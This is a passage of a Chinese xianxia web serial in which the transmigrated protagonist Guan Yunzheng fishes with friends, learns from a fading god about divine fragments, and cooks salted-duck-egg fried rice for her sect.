“封存?”叶泯对他话中提及的这个词异常敏锐——毕竟活人的剑是没必要进行封存的,多半是剑未断而剑主身死,剑才会被暂时封存,等待着下一位“有缘人”。 谭一筠这一猜测便大胆在此处,章存舒分明活得好好的,怎么会把剑封存起来呢? 楚悯正要接话,察觉到什么,低头从袖中摸出叶泯先前给四人准备的传音符。 关云铮的声音从中传来:“你们去哪玩了?” 叶泯随手摸出自己那张传音符:“在鱼塘边钓鱼。” 关云铮应了声:“我猜也是。” 说完这话便没声了。 谭一筠了然地挑眉:“估计在来的路上了。” 不消片刻,关云铮的身影就从不远处的田间出现,快步朝三人走来。 藤椅早就给她准备好了,只等她入座。 关云铮面色无异地坐下:“方才都聊什么了?我这去了好久,你们不会偷偷说我坏话吧?” 谭一筠“唰”一声合起扇子,以扇做指似的指天道:“断然不曾。” 叶泯钓了一条大鱼,懒得再动,瘫在藤椅上如实答道:“方才在讨论章先生为何没有佩剑。” “唔。”关云铮迟疑了一瞬,犹豫着是否要将摇羽先前说的话说给三人听,毕竟算是师父的隐私。可转念一想,这个结论也没有得到正主的承认,还是猜测的成分更多些,索性直接说了,“摇羽先前同我说过,师父的佩剑……在剑冢里。” 叶泯脑袋一歪,半截身子差点倒着栽进地里:“剑冢?!” 谭一筠也愣了愣:“难道还真被我猜中了?” 关云铮钓过一回鱼,这次没有闻越在一旁协助,自己随手缠好了鱼线,勾上了鱼饵,将钓竿甩入水中:“你猜了什么?” “谭兄猜测章先生的佩剑被他暂时封存起来了。”说话慢的楚悯终于接上一句话。 “这事我也不清楚,而且师父从来没提过,总感觉要贸然去问也不大合适。”关云铮往后仰躺在藤椅上,看着天空中的一片流云。 章存舒对自己的徒弟很好,虽然嘴上没几句靠谱的,但行为举止皆出自真心,没人会揣测他对徒弟们的用心。 但除此之外,他的真心仿佛是什么昂贵的奢侈品,要论克售卖,总量也不太多,给了徒弟们一份,其他的就供不应求,被他藏了起来,不知是不是要待价而沽。 步雁山可以尽量神色平常地提起他的师姐戚寻月,凌风起虽然对戚寻月的逝去感到悲愤,但也还算是对此事坦诚。唯独章存舒,哪怕心知他们早已从各处拼凑出了事情的真相,也还是从没主动对她说起过他的师妹。 他在某些事情上有着令相当一部分人不喜的圆滑,却又在某些事上展现出无可救药的固执。仿佛执着地吞下沙砾的河蚌,执着地要用泪水去包裹,最终将其包裹成珍珠。 可是悲伤是不可能变成璀璨的珍珠的。 悲伤就只是悲伤而已,给它赋予其他的色彩没有任何意义,所以这又是她加诸章存舒之身的一种妄断。 关云铮叹了口气:“或许有一天师父会主动告诉我吧。”至于那一天究竟何时到来……只能顺其自然了。 她草草结束这个话题,又起了个新的话茬:“我方才在那边的花树下遇到了殷含绮。” “殷含绮?”楚悯困惑,“她怎么会在闻家农庄?” 嗯,看来殷含绮和闻越“势同水火”这一点已经深入人心,由不得殷含绮三言两语就改变了。 “大概是她之前给我的那一把丝线,估计作用就同示踪差不多,能看清我的踪迹。”关云铮丝毫不觉得自己抛出了一句多么骇人的话似的,说完后发觉钓竿竟微微地向下沉了沉。 谭一筠顿时也顾不上去追究为什么四人一同钓鱼,只有他一人钓不上来这件事了,关云铮那话说出来便使他震撼了。 她一直知道殷含绮的图谋,竟然就这样一直将那所谓的丝线揣在身上?到底是有多宽的心啊,东海吗? 关云铮用力提了一把钓竿,也没顾上观察究竟钓上来条什么品种,确认是鱼后便把收获随手放进一旁的竹篓里,仿佛只是来走个过场,并不太在意收获如何。 到头来只有谭一筠既在乎渔获又没钓到鱼,顿时一阵郁结,把子不语打开盖在脸上不说话了。 话痨闭嘴了,感情最为丰沛的叶泯没打算歇着,又问道:“她同你说什么了?最初将那丝线交给你是,她可曾说过此物可显示你的踪迹?” 关云铮神色平淡:“猜到一点,但是没往心里去,我身上没什么值得她盯梢的东西,她想查归墟的什么事,恐怕也轮不上用我。” 殷含绮的善意当然是真的,不管出于什么目的,关云铮感受到的确实一直都是善意,如果非要去剖析这善意背后是谎言,还是精心策划的利用,就有点没劲了。 因此她绕过了叶泯的第二个问题,只回答了第一个:“我问她认不认识方竞甫,她说确实听过,足以见得,在迷津渡被各仙门剿灭后,方竞甫应当与鬼灯楼有些牵扯。” 楚悯“嗯”了一声:“倒是意料之中。” 不被名门正派包容,走投无路之人,不去找寻邪修相帮,恐怕也没有什么可走的路了——纵然没人逼他走这条路。 关云铮望着鱼塘之上因为鱼儿靠近吃饵而泛起的一圈圈涟漪:“她还问我,方竞甫能做出第二个人蛊吗?”—— 作者有话说:晚了点,但好歹是赶上了[墨镜] 第154章 “殷含绮知道方竞甫, 说明方竞甫逃出迷津渡后与鬼灯楼有所牵扯,如果他当真在炼第二只人蛊,那这两年被鬼灯楼残害致死的人里, 或许也有一部分是他该背负的血债。”叶泯盘腿坐起来, 头头是道地分析着。 关云铮刚经历过情绪低谷,说完方才几句话已是极限, 此刻实在烧不动脑, 瘫在藤椅上没吭声。叶泯说话时她看似神情平静,实则灵魂出窍有一会儿了。 “可是这两年各大仙门对鬼灯楼的追捕很严密,这两年死于邪术炼丹的寻常人和修士都比鬼灯楼鼎盛时期少了不少。”谭一筠说到这忽然意识到自己忽略了一个问题,皱了皱眉,“也对,这两年的修士本就在减少, 并不一定是鬼灯楼有所收敛。” 分子分母同时减小,分数值确实未必减小, 关云铮魂游天外地想。 楚悯默默将左手摊开:“没有第二只人蛊。” 关云铮回过神来,和谭一筠叶泯先后调转视线, 看见了楚悯掌心那个熟悉又陌生的……卦阵。 一时之间三人皆是面色复杂。 叶泯凝滞许久, 抬用手捂住了脸:“太久没见小悯卜卦,竟然完全将你是个天问这事抛在脑后了。” 虽然小悯后来用月下逢捕捉“律”也算是一种“卜算”,但四人之中, 毕竟只有她能看见并解析“律”的存在, 而他们对这种卜算方式的结果一无所知。也正因此,时间一久,连关云铮都快忘了他们最初有多仰赖小悯的卜算。 三人各自沉默了片刻,谭一筠率先打破缄默,回归正题:“凝成金丹后, 卜算的结果是否就更为准确了?” 卜算本就是一种模拟,只是从过去的规律中总结出一种规律,然后运用规律给未来模拟出一个可能性最大的结局。然而在未来真正抵达之前,没人能知道它究竟是何种模样。因此楚悯也无法担保,只能谨慎地答道:“在我卜算之前,或可确定,没有第二只人蛊。” 闻言,关云铮暂且放下此事,转而问道:“那……那个人蛊呢?能卜算出她的踪迹吗?” 楚悯的脸色变得凝重了一些,嘴唇微微抿了抿。 叶泯登时坐得更直了:“怎么了?那人蛊不会吃了不少人了吧?” 楚悯摇了摇头,收起了自己的手:“不可卜算。” 苍韫桢背负天命,不可卜算。 涉及天机,不可卜算。 天命估计不太可能由一个心智不健全的人蛊来背负,那她的情况就是第二种。 可是一个人蛊会涉及什么天机?还是说有什么比他们更高的存在,正在阻截他们对人蛊的探究? 难道是祂? 关云铮与祂相谈甚少,无法总结出祂行事的准则与规律,只觉得如果祂真是此世的神,做事既然如此随心所欲,庇护一个人蛊恐怕也不是什么问题,对祂来说只是顺手为之。 春日和煦的微风把她吹拂得昏昏欲睡,浅动了几分钟的脑就感觉到一阵疲乏,只好理直气壮地摆烂:算了,找个时间问问吧。 **** 与祂的对谈每次都发生在关云铮猝不及防的时刻,所以虽然心里惦记着找祂聊聊,但她并不觉得自己真能聊上,夜里坐在屋顶时只试探性地在脑内喊了喊。 坐在屋顶上能看见不远处的步雁山,他大概是才忙完一天的琐事,正往苍生道院走来。关云铮站起身,拍了拍身上的灰,正打算跳下屋顶,忽然听见那声音响起:“找我何事?” 关云铮收回了一只脚。 “你还真能听见?”她诧异地“问”道。 祂似乎是笑了一声:“近日在附近多有停留,正好能听见。” 拉倒吧,以前分明也能听见,装聋罢了。关云铮没好气地想。 “倒也是实话。”祂又触发了听见他人内心的被动,接了这么一句后说道,“所以找我何事?” 关云铮重新在瓦片上坐下:“今日小悯想卜算那人蛊的下落,发现她无法被卜算,与你有关吗?” “我可没承认过我是神仙。”祂略带揶揄地说。 “哦,”关云铮面无表情地想丝滑地换了套说辞,“那你知道是怎么回事吗?” “暂时不能告诉你。”祂倒数很坦诚,可惜说的话没一句关云铮爱听的。 兀自黑了一会儿脸,关云铮没招了,屈服道:“那有什么是能告诉我的?” “让我想想……”祂故弄玄虚似的拉长了声音,在关云铮即将恼怒之前说道,“你应当一直想知道洞玄和将隐之间有什么联系吧?” 关云铮几乎是不由自主地咬了一下舌尖,才能控制住自己不把“想”说出口。 “如你所想,我是个神仙。”祂打起自己的脸来毫无阻滞,“我快要死了。” “你说什么?”虽然没有开口,但关云铮感觉自己要是开口,这句话的后两个字估计都得破音。 祂语气平静地接着说道:“神明的生命是人们信仰的延续,而我在日复一日中,逐渐遗失了姓名,失去了我的信众。”所以就快要死了。 “你……” “不过不必为我感到惋惜,天道衰颓是大势所趋,前辈们早都死光了,我作为最后一位,也该将身躯化归天地了。” 关云铮被接二连三震撼,脑子彻底死机了,除了听祂说的话,几乎做不出什么反应来。 “在化归天地之前,我做了几件事。我分割了我的一部分神格——这也是我如今没有躯体,只能与你这样交流的原因,这些神格落地为人,各自有自己的一段人生。有的神格终生都不会觉醒神的那部分,只会做个寻常人;有的神格会在我不知情的情况下觉醒神的能力,他们也就成了变数。” 关云铮艰难地调动已经烧出糊味的CPU,努力接上他的话:“比如洞玄的缔造者?” 那个凭借传世法器一举成名,却又暴毙的……江湖散修。 “是他,但你所知的还有一人。” 关云铮感觉到自己的脑子生了锈,里面本就不算精密的链条咔咔作响,片刻之后才大胆地揣测了另一个人:“另一个人……是小悯的叔父?” 祂笑了起来:“猜对了。” “楚泽榕是诸多神格中唯一一个知晓了自己身份的,但很可惜,聪慧是一种诅咒,我分割神格本就是钻天道的空子,它在我身上不会放太多的视线,但在分出去的神格身上自然不会收敛它的窥探,楚泽榕青年早逝,其实是一种无奈的必然。” “钻天道的空子?天道也有实体?” “没有,天道是一种意志,它要众神殒灭,万灵归于人间,要人自治。” 好不容易找回语言中枢,就被这么一句话当头一击,关云铮又失语了。不过既然祂说天道要人自治……难道这就是苍韫桢身负天命的根本原因? “将隐是我做的第二件事。洞玄其实是我权能的转移,不是那个神格所化之人的能力,所以不算是计划之外的事。但楚泽榕太聪明了,我回过神来才意识到还需要为他的死遮掩一二,又或者说是填补一二,不然天问一派的损失就太严重了。” “你这话有点……” “哦,政//治不正确是吧。”祂了然地说道显然又从关云铮那里学到了什么乱七八糟的东西,“你想说寻常人的性命也是命?的确,人命是不分贵贱的,但是我的神力日渐衰微,能做的事有限,只好先做最要紧的事了。要紧程度自然也是我自己评定的,算不得公平。” 祂三言两语又把关云铮想说的话说完了,她只好继续沉默着。 “楚泽榕死后,我没有立即收回那部分神格和神力,而是将它放在了天问,又用了某些方式,让楚泽枫用上了这股力量,先后打造出了溯洄和将隐。” “溯洄也是你神格力量的体现?” “不算吧,算是楚泽枫与天道抗衡的报偿。他割舍七情,理应得到一点奖励,天道自然希望人能赢。” “也就是说,溯洄可以算作交易和小悯父亲努力之下的双重结果?那将隐呢?纯粹是你权能的体现吗?” “正解。” 关云铮坐在屋顶上,脸上的神情比猝不及防吃了口惊天大瓜还要错愕,久久不能平静。 “暂时只能告诉你这么多,还有什么别的想问的吗?我看看能不能告诉你。”祂赖皮鬼似的说道。 关云铮却顾不上与他计较,急惶惶地问道:“还有吗?我身边这些人里,还有谁是你的神格所化吗?” 祂的笑意一顿:“怎么?” 关云铮怀疑祂根本不能明白自己的心理,但还是解释道:“一个有血有肉,有自己人生的人,到头来只是一个神格的化形,是一片残缺不全的什么东西,让我觉得……人活着特别没有意思。” 那样鲜活的,有喜怒哀乐的人,最后只是别的什么的投射,一生不论是功勋卓著还是劣迹斑斑,都只是一种投射,是虚幻,好像再多的努力都没有意义似的。 如果她身边真的还有这样的人……她会觉得有些难过。 这些人或许终其一生也不会知道,自己于某种意义上只是神的傀儡,或许还会因为背负了神格而过早地死去。因为天道不允许神的干涉,它要人靠自己的力量赢下这一场没有硝烟的战役。但这又算什么?神明还是人类又有什么分别? 祂沉默了片刻才说:“没有了,你认识的人之中,没有我神格所化的了。” 关云铮冷静地点点头:“那我暂时没有什么要问的了,等什么时候能告诉我先前问题的答案,我再问你新的问题。” **** 归墟于她究竟意味着什么?关云铮不止一次思考过这个问题。 在穿越到这个世界的最初,她并不觉得归墟会是她的归宿,就算成功在择选上被选中,她也没想过会遇上苍生道这样的师门。 她脾气很坏,心地一般,尤其懒惰,过去几年里因为自己性格的缺陷自食恶果,本以为猝死就是她最后的结局。她以为自己会不讨人喜欢地来,也不讨人喜欢地走,却不知究竟是谁突发善心,捞了她一把。 平心而论,她过得并不算很差,虽然一直痛苦于原生家庭,但父母并没有短过她的吃穿,动辄对她拳脚相加,但她也清楚苦难是不能互相比较的,让她觉得痛苦万分的是更深层次的东西,是她父母反复自我欺骗也欺骗她,试图掩盖的东西。 ——她并不幸福。 她毫无自信,坚信这世上没有人会喜欢自己,父母的包容也只是因为他们被社会规训,不得不包容;她自卑又自负,不认为成绩能代表一个人的能力,却会反复强调自己过去学生生涯的辉煌,因为她如今失意,只有过去的得意还能够拿出来吹嘘;她严于律人宽以待己,指责别人时自己其实也从未履行过所谓的为人准则,但天生一张厚脸皮,能够站在道德制高点上喋喋不休。 她虚伪,爱撒谎,叛逆,逆反心重,刻薄,言辞尖刻…… 然而苍生道,不,她的师门,没有一个人苛责过。 或许是因为她隐藏得很好,从未在此世泄露过自己是个烂人的端倪,或许是……他们真的很喜欢她。 被肯定、被坚定地选择、被告知做错事也没关系,仿佛是一种东亚家庭孩子创伤后产生的幻想,就像那个在手腕上带上发绳的男孩,在渴望被爱。 然而章存舒甚至看得出她最初“魂不附体”,早就知道她并非此世之人,他真的看不出自己乖巧外表下的恶劣内在吗? “在屋顶上做什么呢?”连映不知何时走来了,站在院子里仰起头看向她。 关云铮回过神来,朝连映露出一个笑:“思考人生呢。” 连映朝她伸出手:“李厨在饭堂给我们开小灶,要不要吃?” “要!”关云铮欢快地从屋顶上跳下来,和连映手拉着手往饭堂去了。 归墟……或许真的会成为她此生的归宿—— 作者有话说:来也!又开始反响惨淡了是吗()不过我已经做好单机写到完结的准备了[墨镜] 第155章 忙活了几天, 废了无数张传音符,和人扯了无数场不擅长的皮后,与步雁山沟通的各大仙门终于确立了前来参与大比的人员名单。 步雁山可以与人有理有据地辩论, 却无法和不讲道理的人攀扯, 所以后半程传音符的这边基本上都不止他一个人——还有个以嘴皮子见长的凌风起。 基本上对面只要冒出点想吵架的意思,就能被凌风起说一不二又隐约夹枪带棒的语气呛回去。软柿子自觉自己一捏就烂, 本来也只是试探着得寸进尺, 见势不妙,一般到这里就会偃旗息鼓,自行搭个台阶,嬉皮笑脸地就下去了。 稍微硬点的柿子见了火苗就蹦,凌风起先前警告性质的话便没什么用,往往只会激怒对方的血性——只是到了这时候, 凌风起反而没什么束缚了,因为是对方先口不择言, 他接下来骂出些什么,也不能全然怪在他头上。 这些时候, 步雁山的状态一般都是嗓子冒烟地坐在一边, 和看戏的章存舒坐在一块喝茶。 茶是关云铮新研究的花茶,茶味轻花香重,带着点甘甜。佐食的点心是清爽的绿豆糕, 不粘不干, 一口半块,甜度和清香正好。 名单确认下来,就该开始给即将前来的宾客安排住宿了,虽然按照惯例,应该会有相当一部分的仙门住的是自家灵舟或是芥子, 但统筹时仍需将所有人都考虑进去,也不是件轻松的活计。 ——好在归墟不差钱。 镜溪城不大不小,商业发展得中规中矩,有几家规模尚可的客栈酒楼可供住宿——全都是闻家名下的。 除此之外,闻家名下的农庄也有许多闲置的屋子,只不过有些仙门人自恃清高,可能不大愿意住在农户家里。但只要他们稍微动动脑子,就会发现住在农庄不仅有不次于酒楼客栈的好吃好喝,还用不着与太多不想搭理的人打照面寒暄。 因为农户们的屋子离得再近,也不会有客栈里诸多房间一墙之隔那样亲密。 除了这些山下的住处,归墟门中也有许多空间可以放下芥子,芥子可以仅凭归墟的灵气运行,也可以由不放心的外来宾客自行供给,突出一个量大管饱,不愁住不下。 步雁山布置住处那几日精神都比先前打嘴仗时好多了,见着关云铮也终于有闲暇停下脚步说上两句话。 “云崽,我正想问你,前几日你做的那个……红糖糍粑?难做吗?”步雁山问道。 关云铮刚从来去峰上下来,出了一身汗,被归墟的和风一吹,登时清醒不少,听了这话便问道:“小师叔想吃?” 那红糖糍粑甜而不腻,香甜的同时还很有些酥脆的口感,着实味道不错,故而步雁山坦然地点点头。 关云铮看了眼天色,估计时间不算太晚,也没拒绝:“那我这就回去做,你是要一起过来等着,还是做好了我给你送上去?” 步雁山立刻调转了方向跟着她一起往苍生道院走:“我一同去。” “我倒是不怕麻烦,这几日我在来去峰上的时间比你都久,但你不是才忙完吗?不用回去休息?”关云铮顺手从乾坤袋里摸出两块绿豆糕,没大没小地和步雁山一人一块分了,“山上山下加起来,这么多住处,能住下很多人吧?” 步雁山咬了口绿豆糕:“容纳数百人没什么问题。” “那还愁什么?”关云铮心比天大地一摊手,“这一步完美解决了,直接开始下一步。” 步雁山被她说服似的点了点头:“说得对。” **** 叶泯可能天生缺点专心,没法在某一类事上深耕做出功绩,在归墟近一年,各门功课学得稀松平常,是个教科书级别的“样样通,样样松”。 褚老看他这几日心思完全不在符咒上,便索性放了他的假,让他有心事回去琢磨,别在课上神游天外。 这一琢磨就花了两日的工夫。 期间练完刀的关云铮路过芥子院,本想着进门之前用传音符打声招呼,结果传音符那边只能听到叶泯中邪般的絮絮低语和一些更细碎的声音,听着像是在削木头。 那低语配上削木头声听着怪神叨的,知道的明白他是在用功,不知道的还以为他是要做个巫蛊人偶诅咒别人,被“邪门歪道”灌了一耳朵的关云铮愣是没敢开口打断。 步雁山和章存舒都忙得团团转,谭一筠这几日也没有授课先生了,每日在归墟各处溜溜达达,关云铮打算从芥子院外离开时,他正好从里面走出来。 “云铮?你怎么来了?”谭一筠摇着子不语问道。 他问完一看,才发现关云铮右手边还飘着一张传音符,转瞬便明白过来:“找叶泯?” 天一热,纵然归墟的护山大阵隔绝了热度,那白晃晃的日光也在每个人头顶晒着,他手上这折扇便显得分外应景起来,降低了相当一部分装模作样的嫌疑。 用传音符联络叶泯的当口,关云铮擦干净了霄汉刀身上沾的一点碎霜,一面感慨着任师姐的功力,一面收回了一旁的传音符:“听着像中邪了,还是不找他了。” 谭一筠失笑:“他想研究个小物件,这两日一直在屋子里钻研,我去找他的时候也是神神叨叨的,我问他吃不吃饭,他回答我洗漱过了,鸡同鸭讲。” 关云铮想起之前江县幻境里,叶泯掏出的那一对耳朵样式的法器:“如果他是对法器更感兴趣的话,那他倒是应该去听师父给他上课。”她惋惜似的“啧”了声,“可惜了,没早点发现他这个爱好。” 谭一筠:“你不要一脸没看他受章先生磋磨所以很惋惜的神情。” 被戳穿的关云铮朝他一笑:“你呢,被师父磋磨的这段时间,感觉如何?学到什么新东西了吗?” 谭一筠随手把子不语往旁边一抛,有灵之物很快便开启了自动跟随,飘在两人身后不远不近地跟着。 “傀儡术我大致学会了,只是还没怎么运用过,希望大比的时候用不上吧,我有点没底。”他叹了口气,“章先生教课和掌门教课最大的区别在于,章先生教的东西太需要悟性了,如果不能明白,死记硬背也是徒劳无功;掌门授课总带着些点化的意思,比较适合我这块顽石。” 关云铮边听边点头,人话翻译了一下他的话:“其实就是师父水平高但教书烂,掌门水平高且教书好。” “你别说这话是我说的就行。”谭一筠飞快撇清关系。 关云铮倒是觉得这种评价没什么,毕竟大学里SCI/Nature论文随手发的教授副教授,不会教书的也是一抓一大把。 本来学习与教书就是两码事,就像读了很多书的人未必就会写作——虽然都很懂得评价写作。至少章存舒不是因为自己读的书足够多就傲慢的那种老师,没有在上课前三十分钟分享自己的一生英伦情,教书态度还是很端正的。 嗯……章存舒也没沦落到被拿来和这种老师相提并论的程度,对不住了师父。 “至于其他的术阵,章先生没教太多新的,只在掌门教给我的基础上做了些延伸。”两人说着话已经快走到了苍生道院,谭一筠忍不住岔开话题,“今日饭堂吃些什么?有点心吗?” 关云铮回头看了他一眼,颇为老成地摇了摇头:“这样下去真是不行,怎么一个个的都开始痴迷点心了,当心老了得糖尿病。” 谭一筠皱眉:“糖……尿?什么东西?” 关云铮讲鬼故事似的恐吓道:“一种因为年轻时候管不住嘴而患的病,严重了会瞎,还得瘸,瘸得严重了得锯腿。” 谭一筠无端感觉到膝盖下方的腿一阵幻痛,顿时面色扭曲道:“是因为嗜甜?” 讲鬼故事那位云淡风轻地点了点头,像是没有意识到谁是那个令众人嗜甜的元凶。 不过片刻之后她又坦言道:“话虽这么说,我也不打算改了,人活着不吃点自己爱吃的实在太憋屈了,我们又没把甜食当饭吃,多吃两口怎么了。” 谭一筠被她从来都无懈可击的逻辑再度打败,屈服道:“所以今日有没有点心?” “有,”关云铮背着手溜达进饭堂里,跨进门槛前又回头看了谭一筠一眼,“不过是咸的。” 到底还是得控制一番摄入的糖分了。 **** 关云铮腌了一坛咸鸭蛋,今日正好启封。 随着修为的提升,她识海中的将隐权能也逐渐扩大了范围,具体表现为曾经只是过眼云烟似的看过一遍的那些食谱菜谱,她如今都能想起个七七八八。那位把神格分割出去的时候可能也没想到,最后这部分权能会被她用来研究做菜。 真是没办法,可能这就是出菜中国人吧。 兴许是这个世界到底不与现实接壤,咸鸭蛋并不常见,不然苍生道众人也不会把做出这玩意的关云铮当个天才。在一旁帮她清洗蛋壳的连映问道:“这东西,是直接吃还是……?” 关云铮正伸长了胳膊取出最后一枚鸭蛋——倒不是不能用御物术,主要是鸭蛋不重,并且取出来的过程比较有成就感。她把坛子转了一圈,确认已经空了之后,抬起头来:“都行,直接吃、做配菜、或者做点心,师姐想吃什么样的?” 连映有些惊讶地看了看自己手里青色的鸭蛋:“还能做点心?” 关云铮快速回忆了一遍蛋黄酥的制作过程——得益于被不好吃的蛋黄酥骗了无数次,这个制作过程她也看了无数次,虽然还不清楚古代的烹饪工具和她的技术能不能复刻出酥皮,但她还是没扫连映的兴,点了点头:“能,之后试试。” 连映对她的话十分信任,没再多问,向她伸出手,示意她把沾了黄泥的手臂伸过去。 关云铮配合着她把胳膊洗了,擦干后将几乎卷到肩头的衣袖拉下来:“还好用的是右手。” 连映不明所以:“左手怎么了?” “左手不是戴着撷光吗,虽然这小东西暂时没有器灵,但想必容不得我这样弄脏它吧。”关云铮低头看了眼那熠熠生辉的镯子。 “也对。”连映被她逗得笑起来,眉眼弯弯的,“肯定和师父一样。” 关云铮深以为然地点点头。 “又编排我什么呢?”章存舒弯下腰来问道。 关云铮装模作样地一哆嗦:“哎哟师父,你吓我一跳。” 章存舒笑着打趣她:“没看出你哪里被我吓着了。” 关云铮和连映手拉着手站起身:“那不是配合你吗,早吓不着我了。” 再怕背后灵,也被吓习惯了,早就脱敏了。 章存舒接过两人手里的咸鸭蛋:“中午要用这个做吃的?” 倒也不是不行。 关云铮思索片刻,从章存舒身后探出身子,呼唤李演:“李厨,还有昨日的剩饭吗?” 李演一头雾水:“要剩饭做什么?”苍生道两个累撅了的大人,四个,不对,五个胃口奇佳的少年,其余几个也都是饭量正常的,这几日根本剩不下什么饭。 他虽然不解,但还是配合道:“你是要硬一些的饭?” 关云铮一溜小跑过去:“硬一些的饭适合拿来炒饭,今日的饭太软不太合适。” 李演闻言端给她一碗:“拿去吧,正好方才少加水蒸得硬了些。”?这也太巧了。 关云铮简直要怀疑师门里的每个人都会未卜先知和读心术了。 不管怎么说,有现成的饭,炒饭就容易制作多了。关云铮把刚放下的袖子又卷起来一截,使唤方才跟着她进门的谭一筠:“话痨,你去菜园里给我摘点葱回来。” 谭一筠一合扇:“行。” 她抬头看了眼,又把因为好奇凑近的闻越支开:“师兄你给我打几个鸡蛋。” 闻越懵懂点头:“哦好。” 连映笑眯眯地站在她身后:“那我呢云崽?” 关云铮回头,拿了双筷子给连映展示:“师姐,你就帮我把这几枚蛋像这样戳开,挖出来,然后放进这个碗里捣碎,可以吗?” 连映笑着应了声“好”,拿着碗和蛋到一边去了。 还没来得及去摘葱以及还没开始打蛋的谭一筠和闻越:“?” 怎么对他们和对师姐是两副面孔? 关云铮原本已经要转回身去做饭,察觉到什么似的,又停住动作,看向在门槛和在一旁的两人:“怎么还不开始?师姐都快做完了。” 谭一筠和闻越拔腿就走:还真是两幅面孔!她都不装一下!—— 作者有话说:白天沉迷吃糖炒栗子,没写几个字,所以迟了(发出栗子真好吃的声音) 此菇所在地终于降温,秋天终于来了哈哈哈哈! 第156章 大概是因为人没法想象自己认知之外存在的缘故, 关云铮觉得咸鸭蛋炒饭这东西听起来实在是有点邪门,她一边翻炒一边心里没底地想着,总觉得咸鸭蛋不像油热过的鸡蛋那样香, 又因为腌制的过程中加了太多盐太咸, 掌控不好味道…… 不过为了解决第一个问题她往里加了碎肉丁,碎香菇……总之一大堆本不该出现在常规蛋炒饭里的东西;为了解决第二个问题, 其他所有的食材里, 她都没放盐,这样总不至于还齁咸吧? 炒至中途,关云铮朝一旁的闻越招手:“师兄,我要交给你一个艰巨的任务。” 闻越正叼着个山下农庄送来的桃子,闻言凑近:“什么任务?” 坑人先挑熟的下手,关云铮用勺子舀了一勺饭:“你尝尝看咸淡。” “淡了, 你再尝尝。”传奇吃客闻越品鉴过后,又给她拿了个勺。 亲自尝过味道后的关云铮终于放心下来, 化了一点盐在碗底的水里,往锅里洒了一圈。 “太干了化不开?”闻越继续吃桃子。 关云铮点点头, 翻炒一阵确认盐分彻底吸收均匀, 把炒饭盛出锅。 她来到归墟之后做过很多次饭,因为“做饭最忌讳灵机一动”这一永恒真理,一直收敛着自己的创新想法, 生怕做出色香味弃权的菜色, 没想到还是在今天破了戒。 但毕竟方才尝了一勺,她略带私心地品鉴了一番,觉得不算太失败,恐怕要助长日后频繁灵机一动的歪风邪气。 不过以后的饭……还是以后再说吧。 “今日就吃这个。”她把一大锅饭端上桌,“大家尝尝, 看看有没有什么要改进的。” 闻越像个成精的猴,吃桃仿佛不用嚼,光速吃完后将桃核往饭堂外面的花盆里一丢,拿着方才那勺子在桌边坐下:“云崽最大的缺点就是太谦虚了,都这么好吃了,能有什么要改进的。” 关云铮根本不信他的鬼话,师门连章存舒奉行的都是鼓励式教育,每天就知道把她哄得找不着北。 “好香啊,今天吃什么?”叶泯终于暂停了他的事业,从门外跨了进来。 关云铮见他来了,这几日来苍生道吃饭的人也都到齐了,终于在桌边坐下,给自己盛了一碗。 “口感丰富,层次分明,米粒干爽不生硬,其间夹着各色配菜的香气,分明是一碗十分好吃的炒饭,云铮,你确实过谦了。” 这用词,这句式,关云铮怀疑谭一筠哪天不是这个声线了,她也能从此人的说话风格里辨认出究竟是谁。 “这咸鸭蛋的蛋黄吃着确实和寻常鸡蛋的不太一样,”连映品鉴着口感,“似乎有些……” 关云铮也找不到什么合适的词,只好比划着说道:“沙沙的。” 连映一愣,转而意会了这个词:“对。” 褚老乐呵呵的:“话都让小映和小越说完了,我就觉得好吃,本来还记着当时云崽腌鸭蛋的时候嘱咐我少吃,还以为之后都尝不到了。” 当初确实因为鸭蛋太咸,还是腌制品,不打算让褚老多吃,不过现在做过处理没什么咸味了,可以……再吃一小碗! **** 饭后又得开始忙碌的下午,步雁山拉着章存舒这头懒驴上磨去了,褚老也有事要做,转瞬间桌边就只剩下关云铮四人和三位师兄师姐。 叶泯从乾坤袋里往外拿东西:“之前章先生让话痨学傀儡术,我就一直想着做个可供傀儡术驱使的小物件试试,这两日一直在琢磨这个。” 他拿出了两只木头雕刻的物件,一只形状像栖霜,一只形状则是寻常的麻雀。 关云铮正打算拿起“栖霜”打量,只见叶泯动作微顿,又从乾坤袋里拿出了第三只,递给了对面坐着的闻越。 闻越心大似海:“我帮你拿着是吧。” 叶泯可能也没想到他的想法如此清奇,愣了一下才说:“是给你的,闻师兄。” 闻越这才低头仔细看了看手里的物件——是只木头雕刻的蝴蝶。 谭一筠用子不语遮着下半张脸:“不是说因为我才做的,怎么没有给我的?” 虽然知道他是在开玩笑,关云铮还是没忍住看了他一眼:“干嘛,你吃醋啊。” 楚悯:“噗。” 原本还悠然自得的谭一筠果然炸毛,迅速收起扇子,丝滑地岔开了话题:“栖霜和蝴蝶我倒是都能明白,余下这只为何是麻雀?” 叶泯语气平淡地一摊手:“因为寻常啊。” 受宠若惊的闻越也回过神来,跟着说道:“是啊,麻雀多寻常,作为傀儡也没那么显眼。小筠,你今日是怎么了?” 关云铮故作了然地“哦”了一声:“一定是因为还在回味方才的炒饭,不是因为别的,嗯,我懂。” 谭一筠……谭一筠气绝。 一番玩笑话结束,叶泯也正色道:“原本打算做只麻雀试试,雕刻的过程中发现逐渐熟练起来,就想着做两个别的样子。第一时间做了灵犀的,已经被它独占了,之后就想到了云铮说过闻师兄用灵蝶传信的事,最后才做了只栖霜模样的。” 当了很长一段时间背景板的江却此时开口道:“木料是从哪得来的?” 叶泯神色一滞,脸上的神情泄露出了一丝心虚:“是后山的一截枯木上截下来的,”他声音越说越低,“不会不能用吧?” “枯木?”江却疑惑地转头,看向一旁的连映,“后山有什么枯木?” 连映也没能立刻想起来,思索一番后,在叶泯越发心虚的注视中冁然一笑:“那是掌门不慎养死的树。” 无声看戏喝茶的关云铮:“咳,咳咳咳……掌门养死的?” “好些年前了吧,还是师父跟我们说的。”连映回忆着说道,“后山的土质有问题,种不出菜,我们的菜园也不在那边。掌门觉得偌大一块后山没有花草树木太荒凉,万一有弟子想寻个僻静地方修炼,或许会被吓一跳,就打算种树。” 虽然现在的后山也没好到哪儿去,树木长得奇形怪状不说,剑冢那边到了夜里一片漆黑的同时还有雾气缭绕,山中还有块莫名其妙的区域养着灵犀,结界作用之下远看有走近无,比没有树的情况下更适合闹鬼……一时之间不知道该不该种这批树。 “种的好像是柳树?还是什么别的?”由于太过久远,连映也想不起来了,迟疑着看向江却。 柳树?关云铮默默又喝了口茶,更适合闹鬼了。 江却垂眼看了看手中栖霜模样的木头物件:“是樟树。” 哦那没事了,闹不了鬼。 